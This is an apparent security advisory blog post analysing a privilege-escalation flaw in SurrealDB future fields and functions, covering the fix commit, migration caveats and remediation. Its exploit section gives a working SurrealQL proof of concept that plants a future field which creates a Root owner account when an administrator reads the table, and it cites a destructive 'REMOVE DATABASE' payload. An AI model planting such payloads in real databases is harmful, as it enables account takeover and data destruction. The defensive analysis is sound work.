SurrealDB's Trojan Horse: The Confused Deputy in Future Fields
Jan 23, 2026·6 min read·19 visits
Executive Summary (TL;DR)
SurrealDB allows users to define 'future' fields and functions that execute dynamically. Prior to version 2.5.0, this logic executed with the permissions of the *invoking* user, not the *creating* user. An attacker with basic 'Edit' rights can define a field that creates a Root user, wait for an actual Root admin to query that field, and effectively hijack the database using the admin's own credentials.
A critical Confused Deputy vulnerability in SurrealDB allows low-privileged users to plant malicious logic in database schemas (Functions, Future Fields) that subsequently executes with the high privileges of any administrator who interacts with them. This results in total system compromise via privilege escalation.
The Hook: When Features Become Weapons
Modern databases are no longer just passive vaults for storing strings and integers. They are active, computational engines. SurrealDB pushes this envelope aggressively, marketing itself on its ability to handle logic, events, and dynamic computations directly within the data layer. It’s a developer's dream: why write backend code to calculate a user's full_name when the database can just stitch first_name and last_name together automatically?
Enter Futures and Functions. These are powerful primitives in SurrealDB that allow developers to embed SurrealQL logic directly into the schema. A 'Future' field <future> { time::now() } isn't stored as a static timestamp; it is a living instruction. Every time you SELECT that field, the database wakes up, runs the logic, and serves you the fresh result.
But here lies the trap. In security, context is everything. When that dynamic code runs, who is running it? Is it the humble developer who wrote the schema definition? or is it the all-powerful Root Administrator who decided to run a backup or a seemingly innocent SELECT * FROM users? For a long time, SurrealDB got this answer wrong, turning a convenient feature into a dormant Trojan Horse waiting for an admin to knock on the door.
The Flaw: The Classic Confused Deputy
The vulnerability (GHSA-3V2X-9XCV-2V2V) is a textbook example of the Confused Deputy problem. In information security, a confused deputy is a computer program that is innocently fooled by some other party into misusing its authority. It involves three entities: the attacker, the victim (with high privileges), and the system (the deputy) that executes orders.
In SurrealDB versions prior to 2.5.0, the execution engine failed to switch security contexts when resolving schema-defined logic. It naively trusted the session of the invoker. If I, a lowly editor restricted to a single namespace, define a function called fn::get_coffee(), and inside that function I put the code REMOVE DATABASE production, the system prevents me from running it. My permissions are checked, and the door is slammed in my face.
However, if I leave that landmine in the codebase and wait for the CEO (Root Owner) to call fn::get_coffee(), the logic executes within their session. The database looks at the instruction REMOVE DATABASE, looks at the user executing the function (Root), and says, "Right away, boss." The deputy (the database engine) is confused; it thinks the admin wanted to run the malicious code, when in reality, the admin just wanted the result of the function.
The Code: Analysis of Commit f515c913
The fix, landed in commit f515c91363ee735aa1bc08580d9e7fa0de6e736f, fundamentally changes how schema objects are stored and executed. The core issue was that Api, Event, Field, and Function definitions were stateless regarding who created them. They were just code strings sitting in the catalog.
The patch introduces a new structure called AuthLimit. This structure acts as a snapshot of the creator's privilege level at the moment of definition.
// The new structure attached to schema definitions
pub struct AuthLimit {
pub level: AuthLevel, // e.g., Root, Namespace, Database
pub role: Option<String>, // e.g., Owner, Editor, Viewer
}The most critical change happens in the computation engine, specifically in doc/compute.rs. Previously, the engine would take the current execution context (opt) and pass it blindly into the computation.
The Vulnerable Logic (Conceptual):
// Old way: Use the caller's options directly
if let Some(computed) = &fd.computed {
// If the caller is Root, 'opt' has Root privileges
let val = computed.compute(stk, ctx, &opt, Some(doc)).await?;
}The Fixed Logic:
The new implementation creates a sandbox. Before executing the stored logic, the engine calls limit_opt. This downgrades the privileges of the session to match the AuthLimit stored on the field definition.
// New way: Sandboxing the execution
let opt = AuthLimit::try_from(&fd.auth_limit)?.limit_opt(opt);
if let Some(computed) = &fd.computed {
// 'opt' is now capped at the creator's level
let val = computed.compute(stk, ctx, &opt, Some(doc)).await?;
}This simple diff kills the attack class. Even if Root triggers the execution, limit_opt ensures the code runs with the handcuffs of the original creator.
The Exploit: Escalating from Peasant to King
Let's walk through a realistic attack chain. Assume we have compromised credentials for a user with EDITOR privileges on a specific Namespace. We cannot access ROOT, nor can we modify other databases. But we want full control.
Step 1: The Trap
We define a field on a common table, like user_profiles. We use a future value. This ensures the code runs effectively "on read".
-- We are logged in as 'editor_bob'
DEFINE FIELD harmless_looking_metric ON TABLE user_profiles VALUE <future> {
-- This is the payload. It executes silently.
-- Since we are 'editor_bob', we can't run this yet.
-- But we can WRITE it.
DEFINE USER pwned_admin ON ROOT PASSWORD 'DarkSide123' ROLES OWNER;
-- Return something normal so the query doesn't fail/look weird
RETURN 42;
};Step 2: The Bait
We now wait. We need a Root administrator to interact with the user_profiles table. This is almost guaranteed to happen eventually—backups, analytics, or just general administration.
Step 3: The Trigger The Admin logs in to check on the system health.
-- Admin session (Root)
SELECT * FROM user_profiles LIMIT 5;The database engine processes the query. It sees the harmless_looking_metric field. It sees it is a <future>. It executes the block inside. Because the patch isn't applied, the block executes as Root.
Step 4: The Prestige
The query returns successfully. The Admin sees a list of profiles. Everything looks normal. But in the background, a new user pwned_admin has been created at the Root level. The attacker now logs out of editor_bob and logs in as pwned_admin, taking full control of the entire cluster.
The Fix: Mitigation & The Legacy Problem
The immediate fix is to upgrade to SurrealDB 2.5.0 or 3.0.0-beta.3. This applies the AuthLimit logic discussed above. However, simply upgrading binary files is rarely enough when logic is persisted in the data itself.
[!WARNING] The Migration Trap: When you upgrade an existing database, SurrealDB has to decide what permissions to assign to existing functions and futures. Since it didn't track the creator before, it doesn't know who wrote them.
To prevent breaking existing applications, the migration logic defaults existing definitions to AuthLimit::new_no_limit(). This effectively grandfathers them in as Root-executed scripts. This is a critical nuance.
Remediation Strategy:
- Upgrade the binaries immediately.
- Audit your schema. Look for any
DEFINE FUNCTIONorDEFINE FIELD ... VALUE <future>entries. - Redefine them. Running the
DEFINEstatement again (even if identical) under the new version will stamp the object with the correct, restrictedAuthLimit.
Failure to redefine existing objects leaves the vulnerability open for old code, even if new code is secure.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
SurrealDB SurrealDB | < 2.5.0 | 2.5.0 |
SurrealDB SurrealDB | < 3.0.0-beta.3 | 3.0.0-beta.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-269 |
| CWE Name | Improper Privilege Management |
| Attack Vector | Network (Authenticated) |
| CVSS | 7.5 (High) |
| Impact | Privilege Escalation / RCE |
| Exploit Status | PoC Available |
| Patch Commit | f515c91363ee735aa1bc08580d9e7fa0de6e736f |
MITRE ATT&CK Mapping
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.